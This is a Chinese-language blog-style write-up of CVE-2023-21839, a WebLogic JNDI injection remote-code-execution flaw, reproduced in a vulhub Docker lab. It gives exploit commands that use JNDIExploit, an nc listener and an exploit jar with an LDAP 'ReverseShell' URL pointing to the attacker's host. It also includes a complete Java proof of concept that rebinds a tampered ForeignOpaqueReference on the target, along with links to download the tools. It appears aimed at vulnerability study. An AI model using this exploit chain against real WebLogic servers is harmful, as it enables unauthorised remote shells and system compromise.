简介

Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象的getReferent方法,weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在var5 = var4.lookup(this.remoteJNDIName);实现,故可以通过rmi/ldap远程协议进行远程命令执行。

影响版本:

  • 12.2.1.3.0

  • 12.2.1.4.0

  • 14.1.1.0.0

    环境搭建

    1
    docker pull vulhub/weblogic:12.2.1.3-2018
1
docker run -d -p 7001:7001 

ifconfig看一下虚拟机对外网的ip
image.png

物理机访问

image.png

复现

Dnslog:
image.png

反弹shell
JNDI工具:
https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4

我们先看一下kali的ip:
image.png

172.31.9.255
启动JNDI

1
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 172.31.9.255

image.png

然后kali设置一个监听端口,反弹shell用于接收shell的

1
nc -lvnp 2222

开始利用CVE工具
1
java -jar Weblogic-CVE-2023-21839.jar 192.168.254.128:7001 ldap://172.31.9.255:1389/Basic/ReverseShell/172.31.9.255/2222

此时我们可以看到kali的2222端口已经收到shell
image.png

进入容器检查一下
image.png

分析

我们新建一个项目导入poc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2023_21839 {
public static void main(String[] args) throws Exception {
// 先赋值好用来反射的ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

// 反射来改变ForeignOpaqueReference的jndiEnvironment
ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(foreignOpaqueReference, env2);
//反射改remoteJNDIName属性
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://172.31.9.255:1389/Basic/ReverseShell/172.31.9.255/2222";
remoteJNDIName.set(foreignOpaqueReference, ldap);

//创建上下文进行lookup查询的weblogic服务器
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
String url = "t3://192.168.254.128:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);

// 远程绑定构造好的ForeignOpaqueReference对象
c.rebind("jmx0hxq", foreignOpaqueReference);

// lookup查询之前绑定的ForeignOpaqueReference对象
try {
c.lookup("jmx0hxq");
} catch (Exception e) {
}
}
}

这里记得在项目结构里加个依赖,jar包: https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839

image.png

我们知道当客户端进行JNDI的查找和获取(lookup)的时候,最后会通过利用WLNamingManager#getObjectInstance获取我们的对象实例

image.png

这里会判断如果远程对象是OpaqueReference类型就调用它的getReferent方法
如果是LinkRef类型会调用它的getLinkName方法
这里是调用远程对象的getReferent()方法,这里的远程对象是ForeignOpaqueReference
image.png

我们发现这里的var5 = var4.lookup(this.remoteJNDIName);,这个var4我们可以通过反射传个jndiEnvironment(private属性)修改,这个remoteJNDIName也是private属性的,也只能通过反射修改

我们尝试复现:
image.png
image.png

参考:

https://xz.aliyun.com/t/12297#toc-2
https://xz.aliyun.com/t/12452#toc-4
https://okaytc.github.io/posts/942fc3b7.html#0x00%E3%80%81%E5%89%8D%E8%A8%80